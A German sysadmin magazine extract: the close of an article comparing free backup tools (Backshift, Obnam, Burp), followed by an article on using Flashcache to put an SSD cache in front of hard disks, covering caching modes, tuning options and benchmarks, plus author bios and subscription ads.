1.8 als geringfügig schneller und stabiler. 

Dann erfolgt die Konfiguration mit 

./configure ‐‐python /usr/local/U 

pypy‐1.8/bin/pypy 

Der Configure-Parameter »a ‐‐prefix /usr« 

legt fest, wo Backshift landet, per Default 

in »/usr/local«. Zum Erzeugen der 

Liste der zu sichernden Daten braucht 

Backshift ein externes Programm wie 

»find«. Der Aufruf von Backshift, etwa 

zum Sichern des kompletten Root-Filesystems 

könnte dann etwa so aussehen: 

find / ‐xdev ‐print0 | backshift ‐‐save-U 

directory /Pfade/zum/save‐directory ‐‐backup U 

‐subset slash ‐init‐savedir 

Weitere, auch komplexere Anwendungsbeispiele 

finden sich in der Dokumentation. 

Darüber hinaus hat sich der 

Backshift-Autor Dan Stromberg auch die 

Mühe gemacht, in einem informativen 

Vergleich aktuelle freie Netzwerk-Backup- 

Lösungen gegenüberzustellen. 

Obnam [8] blickt bereits auf eine sechsjährige 

Entwicklungszeit zurück und 

wurde von Lars Wirzenius in den letzten 

sechs Jahren entwickelt. Doch auch 

erst seit dem Juni diesen Jahres gibt es 

die Version 1.0, die unter der GPLv3 lizensiert 

verfügbar ist. Was den Autor 

zur Entwicklung von Obnam antreibt, 

lässt sich der Ankündigung zur Version 

1.0 entnehmen. Demnach wollte der Autor 

ursprünglich eine Firma für Online- 

Backups gründen, konnte aber keine zu 

seinen Anforderungen passende Software 

finden. So entwickelte er kurzerhand Obnam 

als einfach handhabbares Backup- 

Programm. 

Auch Obnam ist in Python geschrieben 

und erstellt Backups ausschließlich mithilfe 

des SFTP-Protokolls. Obnam verschlüsselt 

zudem jedes Backup, das aus 

Sicht des Anwenders ein vollständiger 

Snapshot seiner Daten ist. Um Platz zu 

sparen, dedupliziert Obnam die Daten. 

Backups lassen sich wahlweise auf dem 

Client anstoßen, der diese dann auf den 

Server überträgt, oder vom Server aus 

starten. Der Algorithmus zur Deduplikation 

gehört zu den Highlights der 

Software und stützt sich im besonderen 

Maße auf B-Bäume, ähnlich wie das 

neue Linux-Dateisystem Btrfs [9]. Die 

Software zerlegt die Daten in Blöcke, 

speichert identische Blöcke aber nur ein 

einziges Mal, auch dann, wenn sie in 

verschiedenen Generationen des Backups 

in unterschiedlichen Dateien liegen. 

Für einen einfachen Aufruf von Obnam 

genügt das Eingeben von 

./obnam backup ‐‐repository U 

/Pfad/zum/Backup $HOME 

Mit der aktuellen Version lässt sich Obnam 

laut Entwickler Wirzenius in der 

Praxis verwenden, allerdings will er das 

Programm in Zukunft noch deutlich beschleunigen. 

Fazit 

Selbst bei einem so alten Thema wie 

Backups bringt die Open-Source-Welt 

ständig neue Programme hervor, sodass 

sich Platzhirsche wie Bacula und 

Amanda keineswegs sicher sein können, 

stets Admins erste Wahl zu sein. Nicht 

nur, dass ein kommerzieller Hersteller 

wie Arkeia mit einer kostenlosen Linux- 

Version lockt, es sind auch Neulinge, die 

sich für das eine oder andere Szenario 

anbieten, wenn das neue Programm interessante 

Features bietet, wie etwa Verschlüsselung 

oder Deduplizierung. 

Die im Beitrag vorgestellten Tools drängen 

sich vielleicht nicht gerade für den 

Einsatz in Großunternehmen auf, eignen 

sich aber für durchaus für kleine Firmen. 

Ebenfalls existierende Strategien für 

Cloud- oder Virtualisierungs-Infrastrukturen 

sind genauso wenig ein Ersatz für 

die Datensicherung einzelner Hosts wie 

eine vorhandene Hochverfügbarkeits-Lösung 

oder ein implementiertes Langzeit- 

Archivierungssystem. Auch die Frage des 

Sicherungsmediums und der gewählten 

-strategie will gut überlegt sein, hat aber 

nur bedingt etwas mit der gewählten 

Backup-Software zu tun. 

Burp beispielsweise gefällt besonders 

durch die Möglichkeit der Commandline- 

Steuerung, was Admins die Möglichkeit 

gibt, individuelle Backup-Strategien zu 

entwickeln. Für kommerzielle Komplettlösungen 

wie Arkeia oder SEP Sesa 

spricht aber zweifellos die Möglichkeit, 

Sicherungen organisatorisch als Virtual 

Tape Library (VTL) verwalten und als 

Endlager beliebige Bandlaufwerke, Band- 

Libraries und Autoloader verwenden zu 

können, egal ob via SCSI, SATA, iSCSI, FC, 

Infiniband, SAS oder USB angeschlossen. 

Wer darauf verzichten kann oder muss, 

findet in den hier vorgestellten Lösungen 

leistungsfähige Backup-Programme nach 

guter alter Unix-Art. (ofr) 

n 

Infos 

[1] Nachteile von Bacula aus Sicht von Burp- 

Autor Graham Keeling: 

[http:// burp. grke. net/ why. html] 

[2] Burp-Projektseite:[http:// burp. grke. net] 

[3] NTFS Junctions: [http:// support. microsoft. 

com/ ? kbid=205524] 

[4] Burp auf Sourceforge: [http:// sourceforge. 

net/ projects/ burp/ ? source=directory] 

[5] AIK für Windows 7: [http:// www. microsoft. 

com/ de‐de/ download/ details. aspx? id=5753] 

[6] Backshift: [http:// stromberg. dnsalias. org/ 

~strombrg/ backshift/] 

[7] Pypy: [http:// pypy. org/] 

[8] Obnam: [http:// liw. fi/ obnam] 

[9] Marcel Hilzinger, Oliver Frommel, Das neue 

Linux-Dateisystem Btrfs im Detail, ADMIN 

04/2009: [http:// www. admin‐magazin. de/ 

Das‐Heft/ 2009/ 04/ Das‐neue‐Linux‐Dateisy 

stem‐Btrfs‐im‐Detail] 

Der Autor 

Thomas Drilling ist seit mehr als zehn Jahren 

hauptberuflich als freier Journalist und Redakteur 

für Wissenschafts- und IT-Magazine tätig. Er 

selbst und das Team seines Redaktionsbüros verfassen 

regelmäßig Beiträge zu den Themen Open 

Source, Linux, Server, IT-Administration und Mac 

OSX. Außerdem arbeitet Thomas Drilling als Buchautor 

und Verleger, berät als IT-Consultant kleine 

und mittlere Unternehmen und hält Vorträge zu 

Linux, Open Source und IT-Sicherheit. 


JETZT 

MIT DVD! 

MAGAZIN 

Sonderaktion 

Testen Sie jetzt 

3 Ausgaben 

für 3 Euro! 

Jetzt schnell bestellen: 

• Telefon 07131 / 2707 274 

• Fax 07131 / 2707 78 601 

• E-Mail: abo@linux-magazin.de 

• Web: www.linux-magazin.de/probeabo 

Mit großem Gewinnspiel unter: 

www.linux-magazin.de/probeabo 

Gewinnen Sie... 

eines von Sieben „SECU4Bags“ 

Einsendeschluss ist der 15.09.2012 

zur Verfügung gestellt von

Know-How 

Flashcache 

SSDs als Cache für Festplattenspeicher 

© Peter Lecko, 123RF 

Hochgeschwindigkeit 

Festplatten sind heute günstig, aber immer noch nicht besonders schnell, 

SSDs dagegen schnell aber teuer. Der Königsweg liegt derzeit darin, 

beides zu kombinieren und SSDs als schnelle Caches für Festplatten zu 

verwenden. Georg Schönberger 

Solid State Drives (SSDs) sind aus modernen 

IT-Umgebungen nicht mehr wegzudenken. 

Für große Storage-Systeme, 

die sowohl mit Kapazität als auch Performance 

glänzen sollen, kann eine Ausstattung 

rein mit SSDs aber schnell sehr 

kostspielig werden. Abhilfe schaffen hier 

SSD-Caching-Technologien, die eine Art 

„Hybrid-Speicher“ bereitstellen. 

Traditionelle Festplatten (HDDs) werden 

dabei mit SSDs kombiniert und vereinen 

die Vorteile beider Welten. Die SSD fungiert 

als Cache für die Festplatten und 

beschleunigt mit ihrer größeren Performance 

Lese- und Schreibzugriffe. Dieser 

Geschwindigkeitsvorteil kommt vor 

allem dann zum Vorschein, wenn die 

typischerweise genutzten Datenmengen 

die Größe des Arbeitsspeichers (RAM) 

überschreiten, die Größe der SSD jedoch 

nicht. Im Regelfall wird ungenutzter Arbeitsspeicher 

als Page Cache für die Bufferung 

von Dateien verwendet. Das Linux 

Kommando »free ‐m« zeigt in der Spalte 

»cached«, wie viele MByte gerade als 

Cache dienen. Nicht immer aber reicht 

der Page Cache für ein Datenset aus, und 

in manchen Fällen übersteigt es sogar 

die maximal mögliche Größe des RAM 

eines Hosts. 

Ist der Page Cache zu klein für ein Datenset, 

müssen normalerweise Teile davon 

auf der Festplatte bleiben. Der Performance-Unterschied 

zwischen RAM und 

HDD wird durch eine SSD-Zwischenschicht 

gemindert. Passt das Datenset 

auf die SSD, werden Lese- und Schreiboperationen 

komplett auf SSD-Ebene abgearbeitet. 

Nur zur Synchronisation der 

Daten muss auf die HDD zurückgegriffen 

werden. 

Facebook-erprobt 

Flashcache bietet eine einfache softwarebasierende 

Lösung für die Verwendung 

eines SSD-Caches. Es wird aktuell von 

Facebook entwickelt und aktiv in deren 

Serverumgebungen eingesetzt [1]. Bevor 

jedoch SSD-Caching für den eigenen Gebrauch 

zum Einsatz kommen kann, gibt 

es wichtige Fragen zu klären: 

n Welches Zugriffsmuster zeigen die verwendeten 

Applikationen? Greifen sie 

eher nur lesend auf die Daten zu oder 

besteht ein ausgewogenes Verhältnis 

zwischen Lesen und Schreiben? 

n Wie groß ist die Datenmenge, die die 

Applikationen benötigen? Reicht der 

vorhandene Arbeitsspeicher aus, um 

die Daten im Page Cache zu halten, 

oder sind sie häufig größer? Würde 

sich das vorhandene Datenset für einen 

SSD-Cache eignen? 

n Gibt es aktuelle Messungen, die 

Performance-Einbußen aufgrund des 

Einflusses der Speicher-Systeme belegen? 

Aus diesen Fragen geht hervor, dass SSD- 

Caching und somit auch Flashcache kein 

Allheilmittel für eine Performance-Steigerung 

sind. Nur wer sein System und 

dessen Verhalten genau kennt, kann mit 

einem SSD-Cache Erfolge erzielen. 

Flashcache eignet sich vor allem durch 

seine Einfachheit und die Verfügbarkeit 

als Open-Source-Software als Kandidat 

für eine erste Tuchfühlung mit Caching. 

Der Quellcode kann von Facebooks Github-Webseite 

heruntergeladen und unter 

Linux in ein Kernel-Modul übersetzt wer- 


Flashcache 

Know-How 

den. Flashcache baut auf dem 

Linux Device Mapper auf, einer 

Komponente im Linux-I/ 

O-Stack die unter anderem 

der Logical Volume Manager 

(LVM) nutzt [2]. Die Flexibilität 

dieser Architektur zeigt 

sich bei Flashcache zum Beispiel 

in der Tatsache, dass ein 

redundanter Cache aus mehreren 

SSDs erzeugt werden 

kann oder einzelne Partitionen 

der SSD für unterschiedliche 

HDDs zum Einsatz kommen 

können. 

Caching-Modi 

In Bezug auf die Cache-Art unterstützt 

Flashcache drei Varianten: Write-Back, 

Write-Through und Write-Around 

Caching (Abbildung 1) [3]. Der Write- 

Back-Modus bietet als einziger Modus 

die Möglichkeit zur Beschleunigung von 

Schreibzugriffen („Writes“). Diese Writes 

schreibt das Modul im ersten Schritt auf 

die SSD und synchronisiert sie später im 

Hintergrund mit der HDD – dieser Vorgang 

wird auch als „Lazy Dirty Cleaning“ 

bezeichnet. Diese „Dirty Pages“ sind jene 

Blöcke, die sich im Cache auf der SSD 

befinden, aber noch nicht auf die HDD 

geschrieben wurden. 

In diesem Zusammenhang zeigt sich die 

Wichtigkeit eines redundanten Caches 

bei der Verwendung von Write-Back. 

Fällt eine SSD aufgrund eines Hardware- 

Fehlers aus, gehen die Dirty Pages unwiederbringlich 

verloren und können im 

schlimmsten Fall ein ganzes Dateisystem 

lahmlegen. Eine redundante Auslegung 

der Caching-SSDs, zum Beispiel durch 

einen RAID1-Verbund, kann dieses Desaster 

verhindern. Vorsicht: Wenn eine 

SSD des RAID-Verbunds ausfällt, läuft 

der Write-Back-Modus weiter, einen 

automatisierten Wechsel in den Write- 

Through-Modus gibt es bislang noch 

nicht. Im Fehlerfall ist daher aus Gründen 

der Datensicherheit ein rascher Tausch 

der defekten SSD nötig. 

Wird ein Cache im Write-Through-Modus 

eingesetzt, schreibt das Modul synchron 

auf die SSD und die HDD. Der 

Geschwindigkeits-Vorteil der SSD kommt 

in diesem Fall also beim Schreiben nicht 

zur Geltung, da die Zugriffe erst dann 

Abbildung 1: Die drei Cache-Arten, die Flashcache unterstützt. 

abgeschlossen sind, wenn sie auch auf 

der langsameren HDD abgeschlossen 

sind. Der Vorteil des Cache macht sich 

erst bei darauffolgenden Lesezugriffen 

bemerkbar, bei denen die Daten von der 

SSD bereitgestellt werden können. 

Im Write-Around-Modus wird die SSD als 

reiner Lese-Cache verwendet. Der Cache 

füllt sich erst nach und nach durch die 

Lesezugriffe. 

Cache-Persistenz 

Zurzeit bleibt nur beim Write-Back-Modus 

der Cache-Inhalt über einen Reboot 

hinweg erhalten (persistenter Cache). 

Dies resultiert daraus, dass Flashcache 

nur für Write-Back Cache-Metadaten auf 

der SSD verwaltet. Für die anderen beiden 

Modi betreibt es diesen Aufwand zur 

Zeit noch nicht. Dieses Fehlen der Metadaten 

hat nicht nur Nachteile: Für Dirty 

Pages müssen bei einem Write und Clean 

immer auch die Metadaten geschrieben 

werden. Um nicht jedes Mal für jeden 

Block die Metadaten aktualisieren zu 

müssen, gibt es ein Batching für mehrere 

verschiedene Metadaten-Blöcke und für 

sequenzielle Updates desselben Blocks. 

Bei einem Reboot oder Shutdown des 

Hosts werden im Falle von Write-Back 

alle Dirty Pages von der SSD auf die HDD 

synchronisiert – das lässt sich manuell 

auch über »dmsetup remove« erreichen 

(siehe unten). Dagegen entfernt »sysctl 

(fast_remove)« den Cache ohne Synchronisation. 

Diese Option birgt immer ein 

gewisses Risiko, da sich Daten im Cache 

befinden, die noch nicht auf der Festplatte 

gelandet sind. 

Metadaten werden beim kontrollierten 

Entfernen für alle 

Cache-Blöcke auf die SSD geschrieben, 

bei einem Node- 

Crash hingegen bleiben nur 

die Dirty-Blöcke im Cache 

erhalten. Für Write-Through 

und Write-Around bedeutet 

ein Remove beziehungsweise 

Neustart des Hosts einen Verlust 

des Caches. Nichtsdestotrotz 

kann für alle drei Fälle 

ein sauberes Entfernen des 

Caches sinnvoll sein, zum 

Beispiel, wenn das Flashcache-Modul 

neu kompiliert 

und geladen werden muss. 

Volume-Verwaltung 

Flashcache bringt drei Kommandozeilen- 

Werkzeuge für die Administration von 

Cache-Volumes mit: »flashcache_create«, 

»flashcache_load« und »flashcache_ 

destroy«. Die Zugehörigkeit zum Device 

Mapper (DM) ist der Grund dafür, dass 

Cache-Volumes auch via »dmsetup« verwaltet 

werden könnten. Die Flashcache- 

Tools erleichtern aber wesentlich den 

Umgang, und nur selten wird der Weg 

direkt über den DM nötig sein. 

Beim Anlegen eines Caching Volumes mit 

»flashcache_create« sind vor allem der 

Caching-Modus (»‐p«), die Cache-Größe, 

die Block-Größe, ein Volume-Name sowie 

die Pfade zur SSD und HDD wichtig. 

Wird die Cache-Size (»‐s«) nicht angegeben, 

verwendet Flashcache die gesamte 

SSD als Cache-Device für das Volume. 

Ohne Angabe einer Block-Größe (»‐b«) 

kommt die Standardgröße von 4 KByte 

zum Einsatz. Listing 1 erstellt ein Write- 

Back-Cache namens »fc‐root« mit »/dev/ 

sdd« als SSD und »/dev/sdc« als HDD . 

Nach dem Aufruf von »flashcache_create« 

erscheint das Volume unter dem Pfad »/ 

dev/mapper/fc‐root«. Daraufhin kann 

man ein Ext4-Filesystem anlegen und das 

Volume eingehängen. 

Wer sich wundert, warum der Cache 

nach dem Mount bereits gecachte Blöcke 

Listing 1: Erstellen und Mounten 

01 :~$ flashcache_create ‐v ‐p back fc‐root /dev/sdd / 

dev/sdc 

02 :~$ mkfs.ext4 /dev/mapper/fc‐root 

03 :~$ mount /dev/mapper/fc‐root /mnt 


Admin 


83

Know-How 

Flashcache 

enthält, sei auf die Lazy Initialization von 

Ext4 verwiesen. Der Kernel-Prozess »ext- 

4lazyinit« initialisiert zu Beginn die Inode 

Tables des Filesystems. Ist dies nicht gewünscht, 

müssen »mkfs.ext4« mit der 

Option »‐E« die Parameter »lazy_itable_ 

init=0,lazy_journal_init=0« übergeben 

werden [4]. 

Einmal erstellte Flashcache-Volumes lassen 

sich mit frm Befehl »flashcache_load« 

wieder laden. Der Load-Befehl kann nur 

für Write-Back-Volumes verwendet werden, 

da dies die einzige persistente Variante 

ist. Für Write-Through und Write- 

Around muss man nach jedem Remove 

wieder einen neuen Cache erstellen. 

Zerstörung 

Das Kommando »flashcache_destroy« 

zerstört einen Cache samt all seinen Daten. 

Ein Entfernen eines Cache-Volumes 

erfolgt direkt über den DM-Befehl »dmsetup 

remove«. Der Remove-Aufruf kehrt 

für ein Write-Back-Volume erst dann zurück, 

wenn alle Dirty Pages auf die HDD 

geschrieben sind. Dieses Blockieren garantiert 

ein sauberes Aushängen des Volumes, 

das via Load-Befehl später wieder 

geladen werden kann (Abbildung 2). 

Für die Überwachung der Cache-Funktion 

stellt Flashcache mehrere Statistiken 

bereit, die sich mit »dmsetup status« und 

»dmsetup table« anzeigen lassen. Der 

Status-Befehl zeigt vor allem die Leseund 

Schreibstatistiken. Wichtig hierbei 

sind zum Beispiel die Angaben zu den 

Treffern im Cache (»read hit« und »write 

hit percent«) oder Lese- und Schreiboperationen 

auf SSD und HDD (»disk/ssd 

reads« und »writes«). 

»dmsetup table« beinhaltet dazu noch 

einige Konfigurations-Informationen des 

Volumes (Listing 2). Von Interesse ist 

auch das Größen-Histogramm der abgesetzten 

I/O-Operationen (Size Hist). 

Flashcache cacht immer nur Blockzugriffe, 

die gleich oder ein Vielfaches der 

Blockgröße des Caches sind (Standardgröße 

4 KByte). Eine steigende Anzahl an 

512-Byte-I/Os signalisiert, dass Zugriffe 

einer Applikation nicht gecacht werden. 

Vorsicht ist somit auch bei Flashcache- 

Performance-Tests mit dem beliebten 

Werkzeug »dd« geboten, da es standardmäßig 

mit 512 Byte als Block-Größe arbeitet. 

Tuning 

Ein Flashcache-Volume bietet zahlreiche 

Konfigurationsmöglichkeiten über 

»sysctl« an. Diese Kontroll-Optionen eignen 

sich nicht nur zum Anpassen eines 

Flashcache-Volumes an die eigenen Bedürfnisse, 

sondern geben auch nützliche 

Informationen über die interne Funktionsweise. 

Der folgende Abschnitt zeigt 

einige Repräsentanten der Optionen: 

Der Sysctl »cache_all« erlaubt es, das 

Caching ein- und auszuschalten. Auf 

Black- und Whitelisting von Prozess-IDs 

hat diese Option großen Einfluss (siehe 

unten). Auch wenn kurzzeitig Test- oder 

temporäre Daten nicht im Cache landen 

dürfen, ist es sinnvoll, den Cache zu deaktivieren, 

um die SSD nicht mit nicht 

benötigten Daten zu füllen. 

Basierend auf der Storage-Architektur 

hinter der SSD, gibt es Szenarien, bei 

denen sich ein SSD-Cache negativ auf 

die Performance auswirkt. Wird die SSD 

als Cache für ein RAID-Array genutzt, 

dessen Durchsatz für sequenzielle Zugriffe 

größer ist als jener der SSD, macht 

sich der Cache negativ bemerkbar. Das 

betrifft Schreib- und Leseoperationen 

gleichermaßen. Beim Schreiben ist der 

Einfluss der SSD-Schreibgeschwindigkeit 

offensichtlich, beim ungecachten Lesen 

erschließt er sich erst auf den zweiten 

Blick: Werden Daten gelesen, die sich 

nicht im SSD-Cache befinden, ist die 

Lese-Operation erst dann abgeschlossen, 

wenn der angeforderte Bereich vom RAID 

gelesen, in den SSD-Cache geschrieben 

und schließlich an die Applikation weitergegeben 

wurde [5]. 

Die SSD-Schreib-Performance ist deshalb 

ein wesentlicher Faktor für die Performance-Verbesserung. 

Für sequenzielle 

Zugriffe existiert mit »skip_seq_thresh_ 

kb« ein Schwellwert, über den sich die 

SSD-Defizite etwas ausgleichen lassen. 

Weist man ihm zum Beispiel den Wert 

1024 zu (standardmäßig 0), landen alle 

sequenziellen I/Os über 1024 Kilobyte 

nicht mehr im Cache. Die niedrigere Performance 

der SSD für sequenzielle Zugriffe 

wird dadurch eliminiert. 

Strategien 

Die beiden Tuning-Parameter »fallow_delay« 

und »dirty_thresh_pct« sind nur für 

den Write-Back-Modus von Bedeutung. 

Wie bereits erwähnt, werden Dirty Pages 

im Hintergrund von der SSD auf die HDD 

synchronisiert. Die Auswahl der Blöcke 

erfolgt entweder aufgrund eines Timeouts 

(»fallow_delay«) oder beim Überschreiten 

eines Schwellwerts (»dirty_thresh_pct«). 

Das Timeout kommt dann zum Zug, 

wenn ein Dirty Block im Cache für längere 

Zeit weder gelesen noch geschrieben 

wurde. Nach Überschreitung dieser Zeit 

im Idle-Zustand werden die Block-Daten 

auf die HDD geschrieben, und der Block 

verliert somit seinen Dirty-Zustand („Idle 

Cleaning“). 

Der zweite Parameter bestimmt den 

Prozentanteil an Dirty-Blöcken eines 

Listing 2: Status-Überblick über das Volume 

01 :~$ dmsetup table fc‐root 

02 fc‐root: 0 3907029168 flashcache conf: 

03 ssd dev (/dev/sdd), disk dev (/dev/sdc) cache 

mode(WRITE_BACK) 

04 capacity(32638M), associativity(512), data 

block size(4K) metadata block size(4096b) 

05 skip sequential thresh(0K) 

06 total blocks(8355328), cached 

blocks(1048668), cache percent(12) 

07 dirty blocks(1048662), dirty percent(12) 

08 nr_queued(0) 

09 Size Hist: 1024:1 4096:9765813 

Abbildung 2: Schematischer Ablauf der Verwaltung eines Cache-Volumes. 


Flashcache 

Know-How 

Cache-Sets. Flashcache beginnt vermehrt 

Cache-Blöcke von der SSD auf die HDD 

zu schreiben, sobald die Anzahl an Dirty 

Blöcken den Prozentwert überschreitet. 

Die Auswahl der Blöcke erfolgt aufgrund 

der Reclaim Policy. Sie bestimmt die Blöcke, 

die Flashcache auswählt, wenn bei 

einem Write keine Blöcke mehr frei sind 

und wenn eine Clean-Operation ansteht. 

Zur Auswahl stehen „First in First out“ 

(FIFO, per Default – der als Erstes hereinkam, 

fällt zuerst raus) und „Least 

recently used“ (LRU, der am längsten 

nicht verwendete). 

Über den Sysctl »reclaim_policy« kann 

zur Laufzeit eine der beiden Varianten 

ausgewählt werden. Wurde eine Auswahl 

an Blöcken getroffen, gibt es obendrein 

Möglichkeiten zur Steuerung der Anzahl 

an Clean Writes: »fallow_clean_speed«, 

»max_clean_ios_set« und »max_clean_ 

ios_total« bestimmen, wie viele Writes 

beim Synchronisieren abgesetzt werden. 

Black- und Whitelists 

Über Black- und Whitelists lässt sich festlegen, 

welche Applikationen sich Flashcache 

zunutze machen. Das Caching 

einer Datenbank kann zum Beispiel 

wie folgt erreicht werden: mit dem Sysctl 

»cache_all« den Cache global deaktivieren. 

Den Thread Group Identifier 

des Datenbank-Daemons (zum Beispiel 

»mysqld«) zur Flashcache-Whitelist hin- 

fügen. Von nun an werden alle I/Os des 

Daemons gecacht, andere Applikationen 

nutzen den Cache nicht. 

Dies funktioniert jedoch nur für Direct 

I/O zuverlässig, also Zugriffe, die nicht 

den Page Cache benutzen. Ansonsten 

werden Writes auch von den Kernel- 

Flush-Threads durchgeführt, die sich 

nicht auf der Whitelist befinden. 

Blacklists sind unter anderem für Backup- 

Prozesse interessant, die von Zeit zu Zeit 

das Filesystem nach Änderungen durchforsten. 

Diese Read-Operationen sind ungeeignet 

für den SSD-Cache. Der Prozess 

ist ein Kandidat für die Blacklist und wird 

als »non‐cacheable« gekennzeichnet. 

Performance 

Performance-Messungen mit Caching- 

Technologien sind schwierig durchzuführen. 

Vor allem der Weg zu einem 

definierten Ausgangszustand ist holprig. 

Die erste Hürde stellt sich bereits bei der 

Auswahl eines geeigneten Benchmark- 

Werkzeugs. Der flexible I/O-Tester Fio 

meistert sie glänzend, er wurde bereits 

im ADMIN 05/2011 vorgestellt [6]. 

Die Fio-Testdateien auszuwählen, gestaltet 

sich ebenfalls als schwierig: Im 

Echtbetrieb wird es selten der Fall sein, 

dass Daten, die gerade geschrieben worden 

sind, sofort wieder gelesen werden. 

Genau dieses Verhalten simulieren aber 

die meisten Performance-Tests. Im Falle 

von Flashcache beeinflusst dieses Testsetup 

nachweislich die Testergebnisse: 

Nach dem Auslegen der Testdaten auf das 

Volume beginnt Flashcache mit dem Dirty 

Cleaning. Diese I/O-Operationen des 

Hintergrund-Prozesses wirken sich auf 

darauffolgende Lese-Tests aus. Um eine 

reale Gschwindigkeits-Messung zu erhalten, 

müssen die Tests erst dann durchgeführt 

werden, wenn die Synchronisation 

abgeschlossen ist, ansonsten muss das 

Dirty Cleaning zumindest als Faktor bei 

den Ergebnissen bedacht werden. Details 

zum verwendeten Testsetup sind im 

gleichnamigen Kasten zu finden. 

Die Fio-Tests setzen sich aus sequenziellem 

Lesen/Schreiben (1 MByte Blockgröße) 

und zufälligem Lesen/Schreiben 

(4 KByte Blockgröße) zusammen (siehe 

auch Abbildung 3 und 4). Alle Tests 

beinhalten die Verwendung des Page 

Cache, daraus Profit schlagen aber nur 

die Schreib-Tests, da Fio beim Lesen den 

Page Cache vor dem Test invalidiert. 

Fast wie SSD 

Bei jenen sequenziellen Tests, bei denen 

sich das Daten-Set komplett auf der 

SSD befindet, kommt Flashcache auch an 

die Performance einer reinen SSD heran. 

Die grünen Punkte in den Abbildungen 

markieren jeweils die Geschwindigkeiten 

der Tests mit einer reinen SSD, 

ohne Flashcache. Ab 32 GByte Set-Größe 

MAGAZIN 

ONLINE 

Linux-Magazin newsLetter 

Newsletter 

informativ 

kompakt 

Nachrichten rund um die 

Themen Linux und Open 

Source lesen Sie täglich 

im Newsletter des Linux- 

Magazins. 

tagesaktuell 


www.linux-magazin.de/newsletter 

Admin 


85

Know-How 

Flashcache 

Abbildung 3: Sequenzieller Lese-/Schreib-Test mit Flashcache. 

Abbildung 4: Zufälliger (Random) Lese-/Schreib-Test mit Flashcache. 

passen nicht mehr alle Test-Daten auf 

die SSD. Aufgrund von Filesystem- und 

Flashcache-Metadaten müssen einige 

100 MByte auf die Festplatte ausgelagert 

werden. Die Performance bei 64 GByte 

sinkt auf etwa 150 MByte pro Sekunde 

– immerhin noch 40 MByte über der 

durchschnittlichen Geschwindigkeit der 

Festplatte. 

Die zufälligen Tests bestätigen die Vorteile 

des Page Cache, selbst bei 64 GByte 

Random Write werden noch 1470 IOPS 

erreicht. Randomread fällt bereits bei 32 

GByte auf circa 1000 IOPS zurück, bei 64 

GByte zeigt sich eine drastische Reduzierung 

auf 182 IOPS. Für diese Einbrüche 

gibt es mehrere Gründe. In erster Linie 

übersteigt ab 32 GByte die Daten-Set- 

Größe die Größe der SSD, die Größe des 

RAMs spielt beim Lesen keine Rolle, da 

der Page Cache nicht eingreift. Des Weiteren 

wurden die Fio-Tests ohne die Option 

Testsetup 

Das Testsetup setzt sich aus folgenden Komponenten 

zusammen: 

n Intel(R) Xeon(R) CPU E5502 @ 1.87GHz 

sowie 12 GByte RAM 

n Intel Series 320 160 GByte, via Hostprotected-Area 

(HPA), reduziert auf 32 

GByte. Die Reduzierung wurde vor allem 

für die Verkürzung der Performance-Tests 

vorgenommen. Normalerweise erfolgt die 

Limitierung mittels HPA nur auf 70 bis 80 

Prozent [7] 

n 2 TByte Western Digital WD2002FYPS 

Festplatte 

n Flashcache Git Commit: 

1.0-148-g332fe0fc55ca 

n Fio in der Version 2.0.7 

n Ubuntu 12.04 mit den neuesten Updates 

»norandommap« aufgerufen, das heißt 

ein einmal gelesener Block wird nicht 

noch ein zweites Mal gelesen. Zu Beginn 

des Tests liegen bei einem 64 GByte 

Daten-Set circa die Hälfte auf der SSD. 

Fordert Fio einen zufälligen Block an, der 

auf der HDD liegt, wird dieser gelesen, 

und Flashcache cacht den Block auf der 

SSD. Dadurch ersetzt Flashcache einen 

Block auf der SSD, den Fio zum späteren 

Zeitpunkt vom Cache lesen hätte können. 

Den neuen, soeben gelesenen Block im 

Cache wird Fio nicht mehr benötigen, da 

er bereits einmal gelesen wurde. 

Einen Versuch wert 

Flashcache eignet sich hervorragend als 

Einstieg in die SSD-Caching-Welt. Es ist 

einfach zu verwenden, und die Konfigurations-Möglichkeiten 

sind vielfältig. Der 

Aufbau auf dem Linux Device Mapper 

verleiht Flashcache die nötige Flexibilität, 

um auch redundante Cache-Architekturen 

aufzubauen. 

Der fehlende Hot-Spot-Algorithmus zur 

Erkennung häufig benötigter Daten wird 

etwas durch die beiden Replacement- 

Policies und das Überspringen von sequenziellen 

Zugriffen kompensiert. Ob 

Flash cache mit den neuen Hot-Spot-Algorithmen 

gängiger Hardware-Controller 

mithalten kann, muss sich noch zeigen. 

In puncto Performance bringt Flashcache 

bei einer Daten-Set-Größe kleiner als die 

SSD-Größe kaum Overhead mit sich. 

Sonst hängen die Ergebnisse stark vom 

Zugriffsmuster der Anwendung ab. 

Dem Nutzer von Flashcache wird es nicht 

erspart bleiben, die I/O-Charakteristik 

seiner Applikationen näher kennenzulernen. 

Das soll nicht heißen, dass sich SSD- 

Caching ohne detaillierte Analyse des 

eigenen Systems nicht einsetzen lässt. 

Größeren Nutzen wird aber derjenige aus 

Flashcache ziehen, der den Cache auf 

seine eigene Applikationen und Bedürfnisse 

abstimmt. (ofr) 

n 

Infos 

[1] Flashcache: 

[https:// github. com/ facebook/ flashcache] 

[2] Diagramm des Linux I/O Stack: 

[http:// www. thomas‐krenn. com/ en/ oss/ 

linux‐io‐stack‐diagram. html] 

[3] Flashcache Administrator Guide: [https:// 

github. com/ facebook/ flashcache/ blob/ 

master/ doc/ flashcache‐sa‐guide. txt] 

[4] Kernel Newbies über Linux 2.6.37: [http:// 

kernelnewbies. org/ Linux_2_6_37# head‐5b9d 

7940fa4e8294ceaac86a74beb021b2fce3e3] 

[5] Flashcache Google Group: [https:// 

groups. google. com/ forum/ #!topic/ 

flashcache‐dev/ I0su4NKPQ‐o] 

[6] Martin Steigerwald, I/O-Benchmarks mit 

Fio, ADMIN 05/2011: 

[http:// www. admin‐magazin. de/ Das‐Heft/ 

2011/ 05/ I‐O‐Benchmarks‐mit‐Fio] 

[7] SSD Over-Provisioning mit hdparm: 

[http:// www. thomas‐krenn. com/ de/ wiki/ 

SSD_Over‐Provisioning_mit_hdparm] 

Der Autor 

Georg Schönberger arbeitet als Technology Specialist 

bei der Thomas-Krenn.AG und ist Autor beim 

Thomas-Krenn-Wiki. Seine Arbeitsschwerpunkte 

reichen von Informationssicherheit über Monitoring-Plugins 

bis hin zu Performance-Tests. 


3 Ausgaben 

für nur 5,90 E 

Jetzt bestellen: 3 Hefte zum Preis von einem. Sie sparen 66 %! 

Kennenlernangebot: 

3 Ausgaben 

für nur 5,90 E 

Jetzt bestellen unter: 

www.android–user.de/miniabo 

Telefon 07131 / 2707 274 • Fax 07131 / 2707 78 601 • E-Mail: abo@android-user.de

Know-how 

Galera Cluster 

